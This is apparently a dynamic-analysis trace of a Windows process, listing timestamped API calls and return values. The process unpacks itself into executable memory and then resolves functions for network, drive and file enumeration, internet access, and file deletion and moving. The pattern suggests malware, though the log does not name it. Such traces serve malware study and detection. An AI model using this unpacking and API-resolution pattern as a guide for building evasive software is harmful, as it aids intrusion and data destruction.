IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.771] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.772] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.773] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.774] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.775] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.836] LocalAlloc (uFlags=0x0, uBytes=0x44ae0) returned 0x5e2648 [0049.840] LocalAlloc (uFlags=0x0, uBytes=0x44ae0) returned 0x627130 [0049.846] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.846] VirtualProtect (in: lpAddress=0x627130, dwSize=0x33828, flNewProtect=0x40, lpflOldProtect=0x18d794 | out: lpflOldProtect=0x18d794*=0x4) returned 1 [0049.865] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.865] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0049.865] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0049.865] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0049.865] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0049.865] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0049.866] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0049.866] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0049.866] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x5c [0049.868] Module32First (hSnapshot=0x5c, lpme=0x18fc80) returned 1 [0049.869] VirtualAlloc (lpAddress=0x0, dwSize=0x5fa50, flAllocationType=0x1000, flProtect=0x40) returned 0x230000 [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0049.877] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0049.877] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0049.877] SetErrorMode (uMode=0x400) returned 0x0 [0049.877] SetErrorMode (uMode=0x0) returned 0x400 [0049.877] GetVersionExA (in: lpVersionInformation=0x18ebb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18ebb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.877] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x360000 [0049.883] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fc38 | out: lpflOldProtect=0x18fc38*=0x2) returned 1 [0049.900] VirtualFree (lpAddress=0x360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.903] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0049.903] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0049.903] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0049.903] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0049.903] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0049.903] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0049.903] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0049.906] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0049.906] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0049.906] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0049.906] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0049.917] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0049.917] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0049.920] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0049.920] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0049.920] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0049.920] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0049.920] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0049.920] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0049.920] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0049.920] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0049.921] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0049.921] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0049.921] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0049.922] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0049.923] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0049.924] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0049.925] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0049.926] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0049.927] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0049.928] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0049.929] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0049.929] 